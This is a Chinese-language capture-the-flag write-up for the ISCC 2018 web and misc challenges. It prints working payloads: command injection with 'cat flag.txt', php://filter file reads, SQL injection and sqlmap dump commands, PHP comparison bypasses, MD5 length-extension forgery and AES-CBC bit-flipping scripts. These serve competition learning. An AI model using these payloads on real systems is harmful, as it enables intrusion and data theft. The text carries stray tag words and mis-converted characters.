ISCC 2018——write up

WEB

Web1-比較數字大小

直接修改input 標籤裏的maxlength 爲999突破長度限制,使得能輸入大於999 的數,而後隨便輸一個數字就好了php

或者post修改值css

Web2-Web01

strcmp 漏洞,傳入爲數組時會出錯,致使返回爲0,因此傳入password[]=1,獲得flaghtml

Web3-爲何這麼簡單啊

簡單?不存在,坑你沒商量。看看它說了啥吧python

第二關須要從 http://edu.xss.tv 進入,而且只有我公司的IP地址才能夠進入第二關,公司IP爲:110.110.110.110

我開心的改了XXF,而後去訪問給出的網址,而後進入了一個練習平臺。So?Then?flag在SQL 注入的數據庫裏?抱着嘗試的姿態作了一下,emmm,哪有關於flag 的東西???git

嗯,當你訪問給出的網址的時候你就輸了,其實這個網址就是混淆視聽的,徹底不須要訪問,它實際上是Referer 來的,因此在第一關僞造XXF頭,添加Referer值就能進入第二關github

第二關須要提供一個密碼,在哪呢?看源碼,發現一個password.js,看下寫了什麼,在最後獲得一串亂碼,提交檢查不對,拿去base64 解密獲得sql

<script>alert("password:xinyiji.com")</scripta>數據庫

提交xinyiji.com獲得flag數組

Web4-本地的誘惑

簽到題,直接源碼得flagcookie

Web5-你能跨過去嗎?

這題莫名奇妙,提示關鍵點在XSS,結果作題全靠解密。。。

將頁面裏那個一看就不正常的url 解密一下,獲得

callback=+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-

咱們知道+/v++ 是表明utf-7 編碼,這種編碼會使其餘的字元被編碼成utf-16,而後轉換爲被修改的Base64,這些區塊的開頭會以+ 符號標示,結尾則是以任何不在Base64 裏的字元標示,因此咱們將

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA進行Base64 解密,獲得一個含有不可見字符的字符串,將不可見字符去掉,獲得

<script>alert("key:/%nsfocusXSStest%/")</script>

將key 的值填入頁面的輸入框獲得flag

Web6-一切都是套路

文件備份泄露,常見的備份格式懟就是了,嘗試得出index.php.txt,訪問獲得源碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

代碼審計一波,能夠發現存在變量覆蓋問題。

重點在於對輸入值的處理,都有$$k,可是對$v 的處理不一樣

  1. GET 輸入的$k 會變成新變量\$\$k,\$v 也是,那麼若是咱們傳入的是_200=flag,那麼就會變成\$_200=\$flag,從而將flag 的值賦給了\$_200,而最後順利的話又會輸出\$_200
  2. POST 傳入的值也是$$k,而鍵值卻只有一個$,假如輸入flag=flag,那麼最後就是$flag = flag,放到if 語句中也恰好知足條件
  3. 由上所述就能夠獲得payload,GET 傳入_200=flag,使得$_200 獲得flag 的值,POST 傳值隨便傳flag=123456,最後知足if 語句,輸出\$_200 就是輸出flag

Web7-你能繞過嗎?

一開始覺得是注入,結果毫無反應,後來發現還有個參數f=article,將其改爲頁面裏出現過的contents,毫無反應+1

……

猜想f 應該是filename,指定包好的內容,那麼有沒有可能存在文件包含的漏洞呢?利用僞協議嘗試讀取源碼

php://filter/read=convert.base64-encode/resource=index

報錯error……聯想題目提示過濾不嚴謹,說明應該是過濾什麼東西,既然是僞協議,那麼最早過濾的應該就是php,嘗試大寫,成功了。。。。。。幸福來得太快就像龍捲風

Web8-Web02

必須由本地訪問,則修改包頭,一開始覺得是XFF,用X-Forwarded-For Header 添加了127.0.0.1,結果不對,那就把全部判斷ip 的頭都嘗試一遍

1
2
3
4
5
6
7
8
9
10
X-Forwarded-For: 127.0.0.1
Contact: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Referer: 127.0.0.1
From: 127.0.0.1
X-Wap-Profile: 127.0.0.1
True-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1

嘗試Client-IP 的時候正確了

Web9-請ping個人ip 看你能Ping通嗎?

是否是和我同樣打開cmd 去ping 了一下網站ip,發現p用沒有,而後一籌莫展?

腦洞,只有這一句話,我沒這麼大的腦洞,直接問的學弟

當你能猜出能夠GET傳參一個參數ip過去的時候,你的腦洞已經突破天際

邁出第一步後就簡單無比,命令執行而已,過濾了|,那就用%0a

Payload:

1
2
index.php?ip=118.190.152.202%0als
index.php?ip=118.190.152.202%0acat flag.txt

比賽還沒結束,運維忽然修改了flag.txt 所在目錄,新的目錄爲/home/flag.txt

Web10-Please give me username and password!

GET傳參username和password,獲得回顯,註釋提示index.php.txt(話說前面那個源碼泄露沒作出來的,看到這個題應該都能回去作了),訪問獲得源碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

審計一下,條件很少

  1. 傳入參數username && password
  2. username == $flag
  3. password是數字,且小於4位,又要大於999

繞事後面兩個條件慢慢下手,能夠看到比較username 和$flag 是經過strcasecmp 來比較的,它和strcmp 的區別在於區分大小寫,那麼存不存在漏洞呢?固然是存在的,這種比較函數老是會存在數組的漏洞(滑稽:PHP 天下第一),和strcmp 的漏洞同樣,構造數組便可

username[]=1

那麼password 呢?這裏不能像第一題同樣改長度,可是咱們還有科學記數法!1000 的科學記數法怎麼表示?

password=1e3

Web11-SQL注入的藝術

我的信息欄,有GET 傳參,應該是注入點了

發現頁面編碼是gb2312,多是寬字節注入,檢驗一下id=1%df'--+,返回正常頁面,肯定是寬字節注入

接下來就是常規的SQL 語句了

1
2
3
4
5
6
7
8
id=1%df' or 1=1  order by 8--+ 
id=1%df' or 1=1 order by 9--+
id=-1%df' union select 1,2,3,4,5,6,7,8--+
id=-1%df' union select 1,database(),3,user(),5,6,group_concat(table_name),8 from information_schema.tables where table_schema = database() --+

id=-1%df' union select 1,database(),3,user(),5,6,group_concat(column_name),8 from information_schema.columns where table_name = 0x61646d696e73 --+

id=-1%df' union select 1,database(),3,user(),5,6,group_concat(flag),8 from admins --+

Web12-Php是世界上最好的語言

直接看代碼,MD5常見漏洞:將全部0e 開頭的MD5值都看成0,隨便輸一個知足條件的值,跳轉到下一個頁面,又是代碼,變量覆蓋$$a,傳入a=flag,就能夠獲得flag值

Web13-試試看

一個吾王的照片,就沒了,查看網絡,發如今調用index.php 時還調用了show.php?img=1.jpg

因而訪問show.php,默認傳參是1.jpg,那麼能不能傳入其餘值?嘗試後發現

1
2
img=*.jpg,返回圖片出錯沒法顯示
img=*.php,返回File not find

index.php 明顯是和show.php 在同一目錄,這都找不到,能夠看出是後臺作了處理,多是過濾了關鍵字php,使用大寫,php5等嘗試都失敗了

既然文件包含包含本地文件失敗,那麼嘗試能不能讀源碼,又用到了僞協議

img=php://filter/read=convert.base64-encode/resource=show.php

仍是File not find

和大佬py一波,被告知是傳入參數必需要有jpg,那麼改payload爲img=php://filter/read=convert.base64-encode/resource=show.php|jpg

成功返回頁面源碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>

對源碼進行分析,關鍵的幾個點在

  1. img必須有jpg但又不能有resource=.*jpg
  2. 正則檢查了php://filter.resource=([^|])\,並把結果填充到$matches 裏去,說明咱們可使用php://filter僞協議,而且resource的值不含|,那麼咱們就能夠用| 來分隔php 和jpg,由於正則匹配到| 就不會繼續匹配後面的jpg 了,使得\$img=show.php,從而能夠讀到源碼
  3. 開頭包含了config.php,也讀了一下源碼,發現就是自定義了一個get_contents($img) 函數,用來肯定返回是圖片仍是html

最後的flag 在上一級目錄的flag.php裏,最後的payload

img=php://filter/read=convert.base64-encode/resource=../flag.php|jpg

貼一下大佬的payload:

curl http://118.190.152.202:8006/show.php?img=./jpg/../show.php

curl http://118.190.152.202:8006/show.php?img=./jpg/../../flag.php

Web14-Sqli

第一關,注入點在username,直接sqlmap跑

1
2
3
4
python sqlmap.py -r "POST\Iscc.txt" -p username --dbs --batch --level 5
python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database --tables --batch --level 5
python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user --columns --batch --level 5
python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user -C pass --dump --batch --level 5

sqlmap梭哈以後獲得admin 的password,拿去md5解密,登陸,進入第二個注入

第二個注入就很簡單了,flag 在news表,別查錯了就行

1
2
3
4
5
6
7
8
9
10
id=1 or 1=1 order by 6
id=1 or 1=1 union select 1,2,3,4,5,6
id=1 or 1=1 union select database(),user(),3,4,5,6
==>sqli_database,root@localhost
id=1 or 1=1 union select 1,2,3,4,5,group_concat(distinct table_name) from information_schema.tables where table_schema=database()#
==>news,user
id=1 or 1=1 union select 1,2,3,4,5,group_concat(distinct column_name) from information_schema.columns where table_name='user'#
==>title,note,kjafuibafuohnuvwnruniguankacbh,id,date,text
id=1 or 1=1 union select 1,2,3,4,5,kjafuibafuohnuvwnruniguankacbh from news limit 1,1 #
==>flag{hahaha999999999}

Web15-Collide

源碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

分析一下源碼,能夠知道以下信息

  1. 一個不知道的$key,可是從cookie中能夠知道它的長度是46
  2. 從cookie中知道md5(\$key.guest) 的值,也就是知道enc(\$username) 符合條件的值
  3. 得到flag 的條件,知足enc(\$username) == md5(\$key.guest),同時\$username 要含有admin

有經驗的選手一看就知道是hash長度擴展攻擊,咱們知道一個長度已知,數值未知的值\$key,同時知道$key鏈接上一個已知的值(guest)的md5 值(78cfc57d983b4a17e55828c001a3e781),須要知足\$key 加上另外一個可控的值(\$username) 的MD5 等於一個已知的值。

hash長度擴展攻擊能夠直接用工具hashpump,安裝和使用能夠看pcat 師傅的文章

咱們直接上手

1
2
$key 是密文,長度46,後面加上guest,簽名是78cfc57d983b4a17e55828c001a3e781
咱們須要加上的數據是admin

使用hashpump 加上數據admin

1
2
3
4
5
# hashpump
Input Signature: 78cfc57d983b4a17e55828c001a3e781
Input Data: guest
Input Key Length: 46
Input Data to Add: admin

獲得

1
2
5f585093a7fe86971766c3d25c43d0eb
guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin

第一個是新的簽名,把它賦給verify,第二是post 的值,把\x 改爲%,提交便可獲得flag

Web17-Only admin can see flag

右鍵F12得提示index.txt,訪問獲得源碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();
// 隨機的iv
function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
// 登陸邏輯
// 使用aes-128-cbc 模式加密
// 設置了session和cookie,都可見
// cookie[iv] = 隨機生成的iv 的base64
// cookie[cipher] = 加密值的base64
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
// 判斷條件
// 若是session['username'] === 'admin'就輸出flag
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
// 判斷條件
// 解密cipher
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
// 判斷有無傳參,若是username=admin,退出
// 若是username!=admin,則像login() 傳入數組,設置cookie 和session
// 再判斷session['username']是否等於admin
if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>

和實驗吧的第一題差很少,cbc字節反轉攻擊,你們也能夠去看pcat師傅的wp,原理也很少BB,我前面有一篇博客也講了這個東西

若是咱們提交的是username=Admin&&password=mntn

那麼序列話並分組後就是

1
2
3
4
a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:4:"mntn";}

可見,咱們要改的A 在第二塊,偏移量爲9,那麼腳本(直接用的pcat師傅的)以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='NTXIvEkuJOQJnzT5Fns/46Q7/g5YvELHYVetIN3lmwX8berG9Iwnp26GzpNXtHauMvyYxQ48WzmkSHlmwOyhug=='
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=9
c1='A'
c2='a'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
if(cipher_new == cipher):
print("It's same")
print(cipher_new)

提交獲得base64_decode('"FIo6FPqKsWAno/eQZlkURW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6Im1udG4iO30="') can't unserialize

用腳本獲取新的iv

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='2kWRGuhKIV1Ta4u096oeFQ%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:2:{s:8:"userna'
plain=b64decode('FIo6FPqKsWAno/eQZlkURW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6Im1udG4iO30=')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

獲得新的iv,和新的cipher 一塊兒提交便可獲得flag

MISC

雜項賊菜,沒幾個會作的

Misc1-What is that?

明顯是修改圖片高度,若是你問爲何?你能夠用工具tweakpng去校驗圖片的CRC校驗碼,發現會報錯,說明當前圖片的高度是不符合如今的校驗碼的,將圖片高度修改到1000,獲得flag

Misc2-數字密文

很簡單的flag。

只給了一串數字,首先想到的是進制轉換,2個一組轉成10進制對應的ascci瑪,結果不對,轉成16進制就對了

Misc3-祕密電報

培根密碼,自行百度

Misc4-重重諜影

Base64解密屢次,到最後會出錯,將最後一次正常的解密拿去aes解密,獲得一串繁體字,查閱資料得知是土豆文,一種詭異的對應密文。

直接拋到解密網站去解密與佛論禪

Misc5-有趣的ISCC

一個logo圖,扔到winhex一看,發如今最後有東西,另存爲txt,打開

1
&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#55;&#92;&#117;&#48;&#48;&#55;&#98;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#50;&#48;&#92;&#117;&#48;&#48;&#54;&#54;&#92;&#117;&#48;&#48;&#55;&#53;&#92;&#117;&#48;&#48;&#54;&#101;&#92;&#117;&#48;&#48;&#55;&#100;

拿去轉成ASCII碼,再轉字符便可,最後flag格式只要括號裏的

Misc6-Where is the FLAG?

不會,學弟作的

本題和實驗吧的有一題相似,須要用到工具

winhex 打開能夠看到有Adobe Fireworks字樣,應該就是使用這個軟件處理過。

使用Adobe Fireworks 打開後,果真有驚喜,一個在圖層下面的二維碼,發現掃不了,應該是處理過的,將其分割,8取4拼一下(這個讓我想起以前作的一個ctf,也是拼,結果怎麼拼都掃不起。。。)

二維碼

Misc7-凱撒十三世

凱撒密碼,而且偏移是13,給個凱撒密碼的通用腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#-*- coding: utf8 -*-
# Caesar Cipher

MAX_KEY_SIZE = 26

def getMode():
while True:
print('Please choose model:')
print('encrypt(e)')
print('decrypt(d)')
print('brute(b)')
mode = input().lower()
if mode in 'encrypt e decrypt d brute b'.split():
return mode
else:
print('請輸入"encrypt"或"e"或"decrypt"或"d"或"brute"或"b"!')

def getMessage():
print('請輸入你的信息:')
return input()

def getKey():
key = 0
while True:
print('請輸入密鑰數字(1-%s)' % (MAX_KEY_SIZE))
key = int(input())
if (key >=1 and key <= MAX_KEY_SIZE):
return key

def getTranslatedMessage(mode, message, key):
if mode[0] == 'd':
key = -key
translated = ''
for symbol in message:
if symbol.isalpha():
num = ord(symbol)
num += key
if symbol.isupper():
if num > ord('Z'):
num -= 26
elif num < ord('A'):
num += 26
elif symbol.islower():
if num > ord('z'):
num -= 26
elif num < ord('a'):
num += 26

translated += chr(num)
else:
translated += symbol
return translated

mode = getMode()
message = getMessage()
if mode[0] != 'b':
key = getKey()

print('你要翻譯的信息是:')
if mode[0] != 'b':
print(getTranslatedMessage(mode, message, key))
else:
for key in range(1, MAX_KEY_SIZE + 1):
print(key, getTranslatedMessage('decrypt', message, key))

獲得roqtp697t95j3,一看就不是flag,結合提示鍵盤,因此多是鍵盤密碼: 即密文在鍵盤上的下一行所對應的字符是相應明文,好比r=>f,低頭看鍵盤得flag

Misc9-暴力xx不可取

zip僞加密,zip文件由三個部分組成:壓縮源文件數據取+壓縮源文件目錄區+壓縮源文件目錄結束標誌;
簡單來講,數據區就是被壓縮文件的數據,目錄區中的每一條記錄對應數據區中的一條數據,結束標誌重要。要準確瞭解zip各部分的準肯定義能夠看這裏:http://blog.csdn.net/ETF6996/article/details/51946250判斷有沒有加密能夠看文件後綴有沒有一個*號,zip僞加密主要是在目錄區中的 全局方式位標記的值爲奇數(根據這個標記位來判斷有無加密更改爲09 00 就會提示有密碼)

實例操做:找到一個未加密文件,winhex打開,找到目錄區開頭504b1020,而後修改全局方式位標記爲09 00,保存,再用WinRAR打開,發現有一個後綴的*號,須要密碼。

在本題中,修改14 00 07 09 爲14 00 08 09 便可

打開flag.txt 獲得一串字符,提交錯誤,說明有加密,最後發現是rot13,解密便是正確的flag

相關文章
相關標籤/搜索